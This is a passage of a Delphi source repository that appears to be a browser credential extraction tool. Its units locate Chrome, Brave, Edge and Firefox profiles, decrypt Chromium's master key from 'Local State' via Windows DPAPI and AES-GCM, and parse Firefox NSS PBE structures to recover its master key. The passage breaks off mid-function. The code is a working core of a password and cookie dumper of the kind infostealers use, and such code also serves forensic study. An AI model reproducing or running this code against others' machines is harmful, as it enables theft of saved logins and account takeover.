8 | DECCipherFormats, DECCiphers, DECFormat, DECHash;
9 |
10 | type
11 | DATA_BLOB = record
12 | cbData: DWORD;
13 | pbData: PByte;
14 | end;
15 | PDATA_BLOB = ^DATA_BLOB;
16 | TCryptUnprotectData = function(pDataIn: PDATA_BLOB; ppszDataDescr: PWideChar;
17 | pOptionalEntropy: PDATA_BLOB; pvReserved: Pointer; pPromptStruct: Pointer;
18 | dwFlags: DWORD; pDataOut: PDATA_BLOB): BOOL; stdcall;
19 |
20 | // Main decryption functions
21 | function DecryptWithDPAPI(const EncryptedData: TBytes): TBytes;
22 | function DecryptWithChromium(const MasterKey, EncryptedData: TBytes): TBytes;
23 | function GetMasterKey(const ProfilePath: string): TBytes;
24 |
25 | implementation
26 |
27 | function DecryptWithDPAPI(const EncryptedData: TBytes): TBytes;
28 | var
29 | DLLHandle: THandle;
30 | CryptUnprotectData: TCryptUnprotectData;
31 | DataIn, DataOut: DATA_BLOB;
32 | begin
33 | SetLength(Result, 0);
34 | if Length(EncryptedData) = 0 then
35 | Exit;
36 | DLLHandle := LoadLibrary('Crypt32.dll');
37 | if DLLHandle = 0 then
38 | Exit;
39 | try
40 | @CryptUnprotectData := GetProcAddress(DLLHandle, 'CryptUnprotectData');
41 | if not Assigned(CryptUnprotectData) then
42 | Exit;
43 | DataIn.cbData := Length(EncryptedData);
44 | DataIn.pbData := @EncryptedData[0];
45 | if CryptUnprotectData(@DataIn, nil, nil, nil, nil, 0, @DataOut) then
46 | begin
47 | SetLength(Result, DataOut.cbData);
48 | Move(DataOut.pbData^, Result[0], DataOut.cbData);
49 | LocalFree(HLOCAL(DataOut.pbData));
50 | end;
51 | finally
52 | FreeLibrary(DLLHandle);
53 | end;
54 | end;
55 |
56 | function AESGCMDecrypt(const Key, Nonce, CipherText: TBytes): TBytes;
57 | var
58 | Cipher: TCipher_AES;
59 | Data: TBytes;
60 | begin
61 | SetLength(Result, 0);
62 |
63 | // Separate auth tag (last 16 bytes)
64 | SetLength(Data, Length(CipherText) - 16);
65 | Move(CipherText[0], Data[0], Length(Data));
66 |
67 | Cipher := TCipher_AES.Create;
68 | try
69 | Cipher.Mode := cmGCM;
70 | Cipher.Init(Key, Nonce);
71 | Result := Cipher.DecodeBytes(Data);
72 | finally
73 | Cipher.Free;
74 | end;
75 | end;
76 |
77 | function DecryptWithChromium(const MasterKey, EncryptedData: TBytes): TBytes;
78 | const
79 | NONCE_SIZE = 12;
80 | MIN_SIZE = 15; // 3 bytes prefix + 12 bytes nonce minimum
81 | GCM_TAG_SIZE = 16;
82 | var
83 | Nonce, CipherText: TBytes;
84 | begin
85 | SetLength(Result, 0);
86 |
87 | if Length(EncryptedData) < (MIN_SIZE + GCM_TAG_SIZE) then
88 | Exit;
89 |
90 | // Extract nonce (12 bytes after prefix)
91 | SetLength(Nonce, NONCE_SIZE);
92 | Move(EncryptedData[3], Nonce[0], NONCE_SIZE);
93 |
94 | // Get encrypted data portion (including auth tag)
95 | SetLength(CipherText, Length(EncryptedData) - (3 + NONCE_SIZE));
96 | Move(EncryptedData[3 + NONCE_SIZE], CipherText[0], Length(CipherText));
97 |
98 | Result := AESGCMDecrypt(MasterKey, Nonce, CipherText);
99 | end;
100 |
101 |
102 | function GetMasterKey(const ProfilePath: string): TBytes;
103 | var
104 | LocalStatePath: string;
105 | JsonText: string;
106 | JsonValue: TJSONValue;
107 | EncodedKey: string;
108 | EncryptedKey, DecryptedKey: TBytes;
109 | begin
110 | SetLength(Result, 0);
111 | try
112 | // Get path to Local State file
113 | LocalStatePath := TPath.Combine(TPath.GetDirectoryName(ProfilePath), 'Local State');
114 |
115 | // Check if file exists
116 | if not TFile.Exists(LocalStatePath) then
117 | Exit;
118 |
119 | // Read and parse JSON
120 | JsonText := TFile.ReadAllText(LocalStatePath);
121 | JsonValue := TJSONObject.ParseJSONValue(JsonText);
122 | try
123 | // Navigate JSON path: os_crypt -> encrypted_key
124 | if not (JsonValue is TJSONObject) then
125 | Exit;
126 |
127 | JsonValue := TJSONObject(JsonValue).GetValue('os_crypt');
128 | if not (JsonValue is TJSONObject) then
129 | Exit;
130 |
131 | EncodedKey := TJSONObject(JsonValue).GetValue('encrypted_key').Value;
132 | if EncodedKey = '' then
133 | Exit;
134 |
135 | // Decode base64
136 | EncryptedKey := TNetEncoding.Base64.DecodeStringToBytes(EncodedKey);
137 |
138 | // Remove 'DPAPI' prefix (first 5 bytes)
139 | if Length(EncryptedKey) <= 5 then
140 | Exit;
141 |
142 | SetLength(DecryptedKey, Length(EncryptedKey) - 5);
143 | Move(EncryptedKey[5], DecryptedKey[0], Length(DecryptedKey));
144 |
145 | // Decrypt the key using DPAPI
146 | Result := DecryptWithDPAPI(DecryptedKey);
147 |
148 | finally
149 | JsonValue.Free;
150 | end;
151 | except
152 | on E: Exception do
153 | SetLength(Result, 0);
154 | end;
155 | end;
156 |
157 | end.
158 |
--------------------------------------------------------------------------------
/src/chromium/ChromiumProfiles.pas:
--------------------------------------------------------------------------------
1 | unit ChromiumProfiles;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils, System.Classes, System.IOUtils;
7 |
8 | type
9 | TBrowserKind = (bkChrome, bkBrave, bkEdge); // Added Edge
10 |
11 | TChromiumProfile = record
12 | Name: string;
13 | Path: string;
14 | end;
15 |
16 | TChromiumProfiles = array of TChromiumProfile;
17 |
18 | TChromiumProfileHelper = class
19 | private
20 | FBrowserKind: TBrowserKind;
21 | function GetBrowserPath: string;
22 | function GetBrowserName: string;
23 | public
24 | constructor Create(ABrowserKind: TBrowserKind);
25 | function GetProfiles: TChromiumProfiles;
26 | procedure ListProfiles;
27 | function SelectProfile(ProfileChoice: Integer = 0): string;
28 | end;
29 |
30 | implementation
31 |
32 | constructor TChromiumProfileHelper.Create(ABrowserKind: TBrowserKind);
33 | begin
34 | inherited Create;
35 | FBrowserKind := ABrowserKind;
36 | end;
37 |
38 | function TChromiumProfileHelper.GetBrowserPath: string;
39 | begin
40 | case FBrowserKind of
41 | bkChrome:
42 | Result := TPath.Combine(TPath.Combine(
43 | GetEnvironmentVariable('LOCALAPPDATA'),
44 | 'Google\Chrome\User Data'));
45 | bkBrave:
46 | Result := TPath.Combine(TPath.Combine(
47 | GetEnvironmentVariable('LOCALAPPDATA'),
48 | 'BraveSoftware\Brave-Browser\User Data'));
49 | bkEdge:
50 | Result := TPath.Combine(TPath.Combine(
51 | GetEnvironmentVariable('LOCALAPPDATA'),
52 | 'Microsoft\Edge\User Data'));
53 | end;
54 | end;
55 |
56 | function TChromiumProfileHelper.GetBrowserName: string;
57 | begin
58 | case FBrowserKind of
59 | bkChrome:
60 | Result := 'chrome';
61 | bkBrave:
62 | Result := 'brave';
63 | bkEdge:
64 | Result := 'edge';
65 | end;
66 | end;
67 |
68 | function TChromiumProfileHelper.GetProfiles: TChromiumProfiles;
69 | var
70 | BrowserDir: string;
71 | ProfileDirs: TArray;
72 | ProfileName: string;
73 | begin
74 | SetLength(Result, 0);
75 | BrowserDir := GetBrowserPath;
76 |
77 | if not DirectoryExists(BrowserDir) then
78 | begin
79 | WriteLn(Format('%s directory not found at: %s', [GetBrowserName, BrowserDir]));
80 | Exit;
81 | end;
82 |
83 | // Add default profile first
84 | if DirectoryExists(TPath.Combine(BrowserDir, 'Default')) then
85 | begin
86 | SetLength(Result, Length(Result) + 1);
87 | Result[High(Result)].Name := 'Default';
88 | Result[High(Result)].Path := TPath.Combine(BrowserDir, 'Default');
89 | end;
90 |
91 | // Get additional profiles
92 | ProfileDirs := TDirectory.GetDirectories(BrowserDir, 'Profile *');
93 | for var Dir in ProfileDirs do
94 | begin
95 | ProfileName := ExtractFileName(Dir);
96 | SetLength(Result, Length(Result) + 1);
97 | Result[High(Result)].Name := ProfileName;
98 | Result[High(Result)].Path := Dir;
99 | end;
100 | end;
101 |
102 | procedure TChromiumProfileHelper.ListProfiles;
103 | var
104 | Profiles: TChromiumProfiles;
105 | begin
106 | Profiles := GetProfiles;
107 | if Length(Profiles) = 0 then
108 | begin
109 | WriteLn(Format('No %s profiles found.', [GetBrowserName]));
110 | Exit;
111 | end;
112 |
113 | WriteLn(Format('Available %s profiles:', [GetBrowserName]));
114 | for var i := 0 to High(Profiles) do
115 | WriteLn(i + 1, ' -> ', Profiles[i].Name);
116 | end;
117 |
118 | function TChromiumProfileHelper.SelectProfile(ProfileChoice: Integer = 0): string;
119 | var
120 | Profiles: TChromiumProfiles;
121 | input: string;
122 | begin
123 | Result := '';
124 | Profiles := GetProfiles;
125 |
126 | if Length(Profiles) = 0 then
127 | begin
128 | WriteLn(Format('No %s profiles found.', [GetBrowserName]));
129 | Exit;
130 | end;
131 |
132 | if (ProfileChoice > 0) and (ProfileChoice <= Length(Profiles)) then
133 | begin
134 | Result := Profiles[ProfileChoice - 1].Path;
135 | Exit;
136 | end;
137 |
138 | WriteLn(Format('Select the %s profile:', [GetBrowserName]));
139 | for var i := 0 to High(Profiles) do
140 | WriteLn(i + 1, ' -> ', Profiles[i].Name);
141 |
142 | while True do
143 | begin
144 | Write('Profile number (1-', Length(Profiles), '): ');
145 | ReadLn(input);
146 | if TryStrToInt(input, ProfileChoice) and
147 | (ProfileChoice >= 1) and (ProfileChoice <= Length(Profiles)) then
148 | begin
149 | Result := Profiles[ProfileChoice - 1].Path;
150 | Break;
151 | end;
152 | WriteLn('Invalid selection. Please try again.');
153 | end;
154 | end;
155 |
156 | end.
--------------------------------------------------------------------------------
/src/common/BrowserDetector.pas:
--------------------------------------------------------------------------------
1 | unit BrowserDetector;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils, System.IOUtils;
7 |
8 | type
9 | TBrowserInfo = record
10 | IsInstalled: Boolean;
11 | InstallPath: string;
12 | end;
13 |
14 | TBrowserDetector = class
15 | private
16 | FChromePath: string;
17 | FFirefoxPath: string;
18 | FBravePath: string;
19 | FEdgePath: string;
20 | function GetChromeInfo: TBrowserInfo;
21 | function GetFirefoxInfo: TBrowserInfo;
22 | function GetBraveInfo: TBrowserInfo;
23 | function GetEdgeInfo: TBrowserInfo;
24 | public
25 | constructor Create;
26 | property ChromeInfo: TBrowserInfo read GetChromeInfo;
27 | property FirefoxInfo: TBrowserInfo read GetFirefoxInfo;
28 | property BraveInfo: TBrowserInfo read GetBraveInfo;
29 | property EdgeInfo: TBrowserInfo read GetEdgeInfo;
30 | function IsChromeInstalled: Boolean;
31 | function IsFirefoxInstalled: Boolean;
32 | function IsBraveInstalled: Boolean;
33 | function IsEdgeInstalled: Boolean;
34 | class function GetBrowserName(IsChrome, IsFirefox, IsBrave, IsEdge: Boolean): string;
35 | end;
36 |
37 | implementation
38 |
39 | constructor TBrowserDetector.Create;
40 | begin
41 | inherited;
42 | FChromePath := TPath.Combine(TPath.Combine(
43 | GetEnvironmentVariable('LOCALAPPDATA'),
44 | 'Google\Chrome'));
45 | FFirefoxPath := TPath.Combine(TPath.Combine(
46 | GetEnvironmentVariable('APPDATA'),
47 | 'Mozilla\Firefox'));
48 | FBravePath := TPath.Combine(TPath.Combine(
49 | GetEnvironmentVariable('LOCALAPPDATA'),
50 | 'BraveSoftware\Brave-Browser'));
51 | FEdgePath := TPath.Combine(TPath.Combine(
52 | GetEnvironmentVariable('LOCALAPPDATA'),
53 | 'Microsoft\Edge'));
54 | end;
55 |
56 | function TBrowserDetector.GetChromeInfo: TBrowserInfo;
57 | begin
58 | Result.IsInstalled := DirectoryExists(FChromePath);
59 | Result.InstallPath := FChromePath;
60 | end;
61 |
62 | function TBrowserDetector.GetFirefoxInfo: TBrowserInfo;
63 | begin
64 | Result.IsInstalled := DirectoryExists(FFirefoxPath);
65 | Result.InstallPath := FFirefoxPath;
66 | end;
67 |
68 | function TBrowserDetector.GetBraveInfo: TBrowserInfo;
69 | begin
70 | Result.IsInstalled := DirectoryExists(FBravePath);
71 | Result.InstallPath := FBravePath;
72 | end;
73 |
74 | function TBrowserDetector.GetEdgeInfo: TBrowserInfo;
75 | begin
76 | Result.IsInstalled := DirectoryExists(FEdgePath);
77 | Result.InstallPath := FEdgePath;
78 | end;
79 |
80 | function TBrowserDetector.IsChromeInstalled: Boolean;
81 | begin
82 | Result := DirectoryExists(FChromePath);
83 | end;
84 |
85 | function TBrowserDetector.IsFirefoxInstalled: Boolean;
86 | begin
87 | Result := DirectoryExists(FFirefoxPath);
88 | end;
89 |
90 | function TBrowserDetector.IsBraveInstalled: Boolean;
91 | begin
92 | Result := DirectoryExists(FBravePath);
93 | end;
94 |
95 | function TBrowserDetector.IsEdgeInstalled: Boolean;
96 | begin
97 | Result := DirectoryExists(FEdgePath);
98 | end;
99 |
100 | class function TBrowserDetector.GetBrowserName(IsChrome, IsFirefox, IsBrave, IsEdge: Boolean): string;
101 | var
102 | InstalledBrowsers: TArray;
103 | begin
104 | SetLength(InstalledBrowsers, 0);
105 | if IsChrome then
106 | InstalledBrowsers := InstalledBrowsers + ['Chrome'];
107 | if IsFirefox then
108 | InstalledBrowsers := InstalledBrowsers + ['Firefox'];
109 | if IsBrave then
110 | InstalledBrowsers := InstalledBrowsers + ['Brave'];
111 | if IsEdge then
112 | InstalledBrowsers := InstalledBrowsers + ['Edge'];
113 |
114 | case Length(InstalledBrowsers) of
115 | 0: Result := 'No supported browsers';
116 | 1: Result := InstalledBrowsers[0];
117 | 2: Result := InstalledBrowsers[0] + ', ' + InstalledBrowsers[1];
118 | 3: Result := InstalledBrowsers[0] + ', ' + InstalledBrowsers[1] + ', ' + InstalledBrowsers[2];
119 | 4: Result := InstalledBrowsers[0] + ', ' + InstalledBrowsers[1] + ', ' +
120 | InstalledBrowsers[2] + ', ' + InstalledBrowsers[3];
121 | end;
122 | end;
123 |
124 | end.
125 |
--------------------------------------------------------------------------------
/src/firefox/FirefoxCrypto.pas:
--------------------------------------------------------------------------------
1 | unit FirefoxCrypto;
2 |
3 | interface
4 |
5 | uses
6 | System.SysUtils,System.Classes,System.IniFiles,System.JSON,System.IOUtils,
7 | System.Win.Registry,System.Math,System.StrUtils,System.NetEncoding,
8 | Winapi.Windows,Uni,SQLiteUniProvider,DECCipherBase,DECCipherModes,
9 | DECCipherFormats,DECCiphers,DECFormat,DECHash;
10 |
11 | const
12 | ASN1_INTEGER = $02;
13 | ASN1_OCTETSTRING = $04;
14 | ASN1_OBJECT_ID = $06;
15 | ASN1_SEQUENCE = $30;
16 |
17 | type
18 | EASN1Error = class(Exception);
19 | EMasterKeyError = class(Exception);
20 |
21 | IASN1PBE = interface
22 | ['{A8F43B2E-9C74-4D23-B6A8-1234567890AB}']
23 | function Decrypt(const GlobalSalt: TBytes): TBytes;
24 | function Encrypt(const GlobalSalt, PlainText: TBytes): TBytes;
25 | end;
26 |
27 | TKeyIVPair = record
28 | Key: TBytes;
29 | IV: TBytes;
30 | end;
31 |
32 | TASN1Reader = class
33 | private
34 | FData: TBytes;
35 | FPosition: Integer;
36 | function ReadTag: Byte;
37 | function ReadLength: Integer;
38 | function ReadValue(Length: Integer): TBytes;
39 | function ReadInteger: Integer;
40 | function ReadOctetString: TBytes;
41 | function ReadObjectIdentifier: TBytes;
42 | procedure ReadSequence(out SeqLength: Integer);
43 | public
44 | constructor Create(const Data: TBytes);
45 | end;
46 |
47 | TNssPBE = class(TInterfacedObject, IASN1PBE)
48 | private
49 | FEntrySalt: TBytes;
50 | FLen: Integer;
51 | FEncrypted: TBytes;
52 | function DeriveKeyAndIV(const GlobalSalt: TBytes): TKeyIVPair;
53 | public
54 | constructor Create(const Data: TBytes);
55 | function Decrypt(const GlobalSalt: TBytes): TBytes;
56 | function Encrypt(const GlobalSalt, PlainText: TBytes): TBytes;
57 | end;
58 |
59 | TMetaPBE = class(TInterfacedObject, IASN1PBE)
60 | private
61 | FEntrySalt: TBytes;
62 | FIterationCount: Integer;
63 | FKeySize: Integer;
64 | FIV: TBytes;
65 | FEncrypted: TBytes;
66 | function DeriveKeyAndIV(const GlobalSalt: TBytes): TKeyIVPair;
67 | public
68 | constructor Create(const Data: TBytes);
69 | function Decrypt(const GlobalSalt: TBytes): TBytes;
70 | function Encrypt(const GlobalSalt, PlainText: TBytes): TBytes;
71 | end;
72 |
73 | TLoginPBE = class(TInterfacedObject, IASN1PBE)
74 | private
75 | FCipherText: TBytes;
76 | FIV: TBytes;
77 | FEncrypted: TBytes;
78 | function DeriveKeyAndIV(const GlobalSalt: TBytes): TKeyIVPair;
79 | public
80 | constructor Create(const Data: TBytes);
81 | function Decrypt(const GlobalSalt: TBytes): TBytes;
82 | function Encrypt(const GlobalSalt, PlainText: TBytes): TBytes;
83 | end;
84 |
85 | function NewASN1PBE(const Data: TBytes): IASN1PBE;
86 | function ProcessMasterKey(const MetaItem1, MetaItem2, NssA11, NssA102: TBytes): TBytes;
87 |
88 | type
89 | TMasterKeyHelper = class
90 | private
91 | FProfilePath: string;
92 | FSQLiteConnection: TUniConnection;
93 | FGlobalSalt: TBytes;
94 | public
95 | constructor Create(const AProfilePath: string);
96 | destructor Destroy; override;
97 | function GetMasterKey: TBytes;
98 | property GlobalSalt: TBytes read FGlobalSalt;
99 | end;
100 |
101 | implementation
102 |
103 | function PKCS5UnPadding(Data: TBytes): TBytes;
104 | var
105 | padding: Integer;
106 | begin
107 | if Length(Data) = 0 then
108 | Exit(Data);
109 | padding := Data[Length(Data) - 1];
110 | if padding > Length(Data) then
111 | Exit(Data);
112 | SetLength(Result, Length(Data) - padding);
113 | Move(Data[0], Result[0], Length(Result));
114 | end;
115 |
116 | function PaddingZero(const Data: TBytes; Size: Integer): TBytes;
117 | begin
118 | SetLength(Result, Size);
119 | FillChar(Result[0], Size, 0);
120 | if Length(Data) > 0 then
121 | Move(Data[0], Result[0], Min(Length(Data), Size));
122 | end;
123 |
124 | { TASN1Reader }
125 |
126 | constructor TASN1Reader.Create(const Data: TBytes);
127 | begin
128 | inherited Create;
129 | FData := Data;
130 | FPosition := 0;
131 | end;
132 |
133 | function TASN1Reader.ReadTag: Byte;
134 | begin
135 | if FPosition >= Length(FData) then
136 | raise EASN1Error.Create('Unexpected end of data reading tag');
137 | Result := FData[FPosition];
138 | Inc(FPosition);
139 | end;
140 |
141 | function TASN1Reader.ReadLength: Integer;
142 | var
143 | B: Byte;
144 | ByteCount: Integer;
145 | begin
146 | if FPosition >= Length(FData) then
147 | raise EASN1Error.Create('Unexpected end of data reading length');
148 |
149 | B := FData[FPosition];
150 | Inc(FPosition);
151 |
152 | if B < $80 then
153 | Exit(B);
154 |
155 | ByteCount := B and $7F;
156 | Result := 0;
157 |
158 | for var i := 0 to ByteCount - 1 do
159 | begin
160 | if FPosition >= Length(FData) then
161 | raise EASN1Error.Create('Unexpected end of data reading length bytes');
162 | Result := (Result shl 8) or FData[FPosition];
163 | Inc(FPosition);
164 | end;
165 | end;
166 |
167 | function TASN1Reader.ReadValue(Length: Integer): TBytes;
168 | begin
169 | if FPosition + Length > System.Length(FData) then
170 | raise EASN1Error.Create('Unexpected end of data reading value');
171 |
172 | SetLength(Result, Length);
173 | if Length > 0 then
174 | begin
175 | Move(FData[FPosition], Result[0], Length);
176 | Inc(FPosition, Length);
177 | end;
178 | end;
179 |
180 | function TASN1Reader.ReadInteger: Integer;
181 | var
182 | Value: TBytes;
183 | begin
184 | if ReadTag <> ASN1_INTEGER then
185 | raise EASN1Error.Create('Expected INTEGER tag');
186 |
187 | Value := ReadValue(ReadLength);
188 | if Length(Value) = 1 then
189 | Result := Value[0]
190 | else
191 | begin
192 | Result := 0;
193 | for var i := 0 to Length(Value) - 1 do
194 | Result := (Result shl 8) or Value[i];
195 | end;
196 | end;
197 |
198 | function TASN1Reader.ReadOctetString: TBytes;
199 | begin
200 | if ReadTag <> ASN1_OCTETSTRING then
201 | raise EASN1Error.Create('Expected OCTET STRING tag');
202 | Result := ReadValue(ReadLength);
203 | end;
204 |
205 | function TASN1Reader.ReadObjectIdentifier: TBytes;
206 | begin
207 | if ReadTag <> ASN1_OBJECT_ID then
208 | raise EASN1Error.Create('Expected OBJECT IDENTIFIER tag');
209 | Result := ReadValue(ReadLength);
210 | end;
211 |
212 | procedure TASN1Reader.ReadSequence(out SeqLength: Integer);
213 | begin
214 | if ReadTag <> ASN1_SEQUENCE then
215 | raise EASN1Error.Create('Expected SEQUENCE tag');
216 | SeqLength := ReadLength;
217 | end;
218 |
219 | { TNssPBE }
220 |
221 | constructor TNssPBE.Create(const Data: TBytes);
222 | var
223 | Reader: TASN1Reader;
224 | SeqLength: Integer;
225 | begin
226 | inherited Create;
227 | Reader := TASN1Reader.Create(Data);
228 | try
229 | Reader.ReadSequence(SeqLength);
230 | Reader.ReadSequence(SeqLength);
231 | Reader.ReadObjectIdentifier; // Skip OID
232 | Reader.ReadSequence(SeqLength);
233 | FEntrySalt := Reader.ReadOctetString;
234 | FLen := Reader.ReadInteger;
235 | FEncrypted := Reader.ReadOctetString;
236 | finally
237 | Reader.Free;
238 | end;
239 | end;
240 |
241 | function TNssPBE.DeriveKeyAndIV(const GlobalSalt: TBytes): TKeyIVPair;
242 | var
243 | Hash: THash_SHA1;
244 | Salt, HashPrefix, CompositeHash, PaddedSalt: TBytes;
245 | HmacResult, KeyComp1, KeyComp2, CombinedKey: TBytes;
246 | begin
247 | Hash := THash_SHA1.Create;
248 | try
249 | Salt := FEntrySalt;
250 | HashPrefix := Hash.CalcBytes(GlobalSalt);
251 |
252 | SetLength(CompositeHash, Length(HashPrefix) + Length(Salt));
253 | Move(HashPrefix[0], CompositeHash[0], Length(HashPrefix));
254 | Move(Salt[0], CompositeHash[Length(HashPrefix)], Length(Salt));
255 | CompositeHash := Hash.CalcBytes(CompositeHash);
256 |
257 | PaddedSalt := PaddingZero(Salt, 20);
258 | HmacResult := Hash.HMAC(PaddedSalt, CompositeHash);
259 |
260 | // Generate key components
261 | KeyComp1 := Hash.HMAC(PaddedSalt + Salt, CompositeHash);
262 | KeyComp2 := Hash.HMAC(HmacResult + Salt, CompositeHash);
263 |
264 | // Combine key components
265 | SetLength(CombinedKey, Length(KeyComp1) + Length(KeyComp2));
266 | Move(KeyComp1[0], CombinedKey[0], Length(KeyComp1));
267 | Move(KeyComp2[0], CombinedKey[Length(KeyComp1)], Length(KeyComp2));
268 |
269 | // Extract key and IV
270 | SetLength(Result.Key, 24);
271 | Move(CombinedKey[0], Result.Key[0], 24);
272 |
273 | SetLength(Result.IV, 8);
274 | Move(CombinedKey[Length(CombinedKey) - 8], Result.IV[0], 8);
275 | finally
276 | Hash.Free;
277 | end;
278 | end;
279 |
280 | function TNssPBE.Decrypt(const GlobalSalt: TBytes): TBytes;
281 | var
282 | KeyIV: TKeyIVPair;
283 | Cipher: TCipher_3DES;
284 | begin
285 | KeyIV := DeriveKeyAndIV(GlobalSalt);
286 | Cipher := TCipher_3DES.Create;
287 | try
288 | Cipher.Mode := cmCBCx;
289 | Cipher.Init(KeyIV.Key, KeyIV.IV);
290 | Result := PKCS5UnPadding(Cipher.DecodeBytes(FEncrypted));
291 | finally
292 | Cipher.Free;
293 | end;
294 | end;
295 |
296 | function TNssPBE.Encrypt(const GlobalSalt, PlainText: TBytes): TBytes;
297 | var
298 | KeyIV: TKeyIVPair;
299 | Cipher: TCipher_3DES;
300 | begin
301 | KeyIV := DeriveKeyAndIV(GlobalSalt);
302 | Cipher := TCipher_3DES.Create;
303 | try
304 | Cipher.Mode := cmCBCx;
305 | Cipher.Init(KeyIV.Key, KeyIV.IV);
306 | Result := Cipher.EncodeBytes(PlainText);
307 | finally
308 | Cipher.Free;
309 | end;
310 | end;
311 |
312 | { TMetaPBE }
313 |
314 | constructor TMetaPBE.Create(const Data: TBytes);
315 | var
316 | Reader: TASN1Reader;
317 | SeqLength: Integer;
318 | begin
319 | inherited Create;
320 | Reader := TASN1Reader.Create(Data);
321 | try
322 | Reader.ReadSequence(SeqLength);
323 | Reader.ReadSequence(SeqLength);
324 | Reader.ReadObjectIdentifier; // Skip OID
325 | Reader.ReadSequence(SeqLength);
326 | Reader.ReadSequence(SeqLength);
327 | Reader.ReadObjectIdentifier; // Skip OID
328 | Reader.ReadSequence(SeqLength);
329 | FEntrySalt := Reader.ReadOctetString;
330 | FIterationCount := Reader.ReadInteger;
331 | FKeySize := Reader.ReadInteger;
332 | Reader.ReadSequence(SeqLength);
333 | Reader.ReadObjectIdentifier; // Skip Algorithm OID
334 | Reader.ReadSequence(SeqLength);
335 | Reader.ReadObjectIdentifier; // Skip IV OID
336 | FIV := Reader.ReadOctetString;
337 | FEncrypted := Reader.ReadOctetString;
338 | finally
339 | Reader.Free;
340 | end;
341 | end;
342 |
343 | function TMetaPBE.DeriveKeyAndIV(const GlobalSalt: TBytes): TKeyIVPair;
344 | var
345 | Hash: THash_SHA1;
346 | Password: TBytes;
347 | begin
348 | Hash := THash_SHA1.Create;
349 | try
350 | Password := Hash.CalcBytes(GlobalSalt);
351 | Result.Key := THash_SHA256.PBKDF2(Password, FEntrySalt, FIterationCount, FKeySize);
352 | SetLength(Result.IV, 16);
353 | Result.IV[0] := 4;
354 | Result.IV[1] := 14;
355 | Move(FIV[0], Result.IV[2], Min(14, Length(FIV)));
356 | finally
357 | Hash.Free;
358 | end;
359 | end;
360 |
361 | function TMetaPBE.Decrypt(const GlobalSalt: TBytes): TBytes;
362 | var
363 | KeyIV: TKeyIVPair;
364 | Cipher: TCipher_AES256;
365 | begin
366 | KeyIV := DeriveKeyAndIV(GlobalSalt);
367 | Cipher := TCipher_AES256.Create;
368 | try
369 | Cipher.Mode := cmCBCx;
370 | Cipher.Init(KeyIV.Key, KeyIV.IV);
371 | Result := PKCS5UnPadding(Cipher.DecodeBytes(FEncrypted));
372 | finally
373 | Cipher.Free;
374 | end;
375 | end;
376 |
377 | function TMetaPBE.Encrypt(const GlobalSalt, PlainText: TBytes): TBytes;
378 | var
379 | KeyIV: TKeyIVPair;
380 | Cipher: TCipher_AES256;
381 | begin
382 | KeyIV := DeriveKeyAndIV(GlobalSalt);
383 | Cipher := TCipher_AES256.Create;
384 | try
385 | Cipher.Mode := cmCBCx;
386 | Cipher.Init(KeyIV.Key, KeyIV.IV);
387 | Result := Cipher.EncodeBytes(PlainText);
388 | finally
389 | Cipher.Free;
390 | end;
391 | end;
392 |
393 | { TLoginPBE }
394 |
395 | constructor TLoginPBE.Create(const Data: TBytes);
396 | var
397 | Reader: TASN1Reader;
398 | SeqLength: Integer;
399 | begin
400 | inherited Create;
401 | Reader := TASN1Reader.Create(Data);
402 | try
403 | Reader.ReadSequence(SeqLength);
404 | FCipherText := Reader.ReadOctetString;
405 | Reader.ReadSequence(SeqLength);
406 | Reader.ReadObjectIdentifier; // Skip OID
407 | FIV := Reader.ReadOctetString;
408 | FEncrypted := Reader.ReadOctetString;
409 | finally
410 | Reader.Free;
411 | end;
412 | end;
413 |
414 | function TLoginPBE.DeriveKeyAndIV(const GlobalSalt: TBytes): TKeyIVPair;
415 | begin
416 | Result.Key := GlobalSalt;
417 | Result.IV := FIV;
418 | end;
419 |
420 | function TLoginPBE.Decrypt(const GlobalSalt: TBytes): TBytes;
421 | var
422 | KeyIV: TKeyIVPair;
423 | Cipher: TCipher_3DES;
424 | begin
425 | KeyIV := DeriveKeyAndIV(GlobalSalt);
426 | Cipher := TCipher_3DES.Create;
427 | try
428 | Cipher.Mode := cmCBCx;
429 | Cipher.Init(KeyIV.Key, KeyIV.IV);
430 | Result := PKCS5UnPadding(Cipher.DecodeBytes(FEncrypted));
431 | finally
432 | Cipher.Free;
433 | end;
434 | end;
435 |
436 | function TLoginPBE.Encrypt(const GlobalSalt, PlainText: TBytes): TBytes;
437 | var
438 | KeyIV: TKeyIVPair;
439 | Cipher: TCipher_3DES;
440 | begin
441 | KeyIV := DeriveKeyAndIV(GlobalSalt);
442 | Cipher := TCipher_3DES.Create;
443 | try
444 | Cipher.Mode := cmCBCx;
445 | Cipher.Init(KeyIV.Key, KeyIV.IV);
446 | Result := Cipher.EncodeBytes(PlainText);
447 | finally
448 | Cipher.Free;
449 | end;
450 | end;
451 |
452 | function NewASN1PBE(const Data: TBytes): IASN1PBE;
453 | begin
454 | try
455 | Result := TNssPBE.Create(Data);
456 | Exit;
457 | except
458 | // Continue to next type
459 | end;
460 |
461 | try
462 | Result := TMetaPBE.Create(Data);
463 | Exit;
464 | except
465 | // Continue to next type
466 | end;
467 |
468 | try
469 | Result := TLoginPBE.Create(Data);
470 | Exit;
471 | except
472 | // Continue to next type
473 | end;
474 |
475 | raise EASN1Error.Create('Failed to decode ASN1 data');
476 | end;
477 |
478 | function ProcessMasterKey(const MetaItem1, MetaItem2, NssA11, NssA102: TBytes): TBytes;
479 | const
480 | PASSWORD_CHECK = 'password-check';
481 | EXPECTED_KEY: array[0..15] of Byte = (
482 | $F8, $00, $00, $00, $00, $00, $00, $00,
483 | $00, $00, $00, $00, $00, $00, $00, $01
484 | );
485 | var
486 | MetaPBE, NssA11PBE: IASN1PBE;
487 | Flag, FinallyKey: TBytes;
488 | PasswordCheckBytes: TBytes;
489 | begin
490 | try
491 | // Create and decrypt MetaPBE
492 | MetaPBE := NewASN1PBE(MetaItem2);
493 | Flag := MetaPBE.Decrypt(MetaItem1);
494 |
495 | // Verify password-check flag
496 | PasswordCheckBytes := TEncoding.UTF8.GetBytes(PASSWORD_CHECK);
497 | if Pos(PAnsiChar(PasswordCheckBytes), PAnsiChar(Flag)) = 0 then
498 | raise EMasterKeyError.Create('Flag verification failed: password-check not found');
499 |
500 | // Verify NssA102
501 | if not CompareMem(@NssA102[0], @EXPECTED_KEY[0], Length(EXPECTED_KEY)) then
502 | raise EMasterKeyError.Create('Master key verification failed: NssA102 not equal to expected value');
503 |
504 | // Create and decrypt NssA11PBE
505 | NssA11PBE := NewASN1PBE(NssA11);
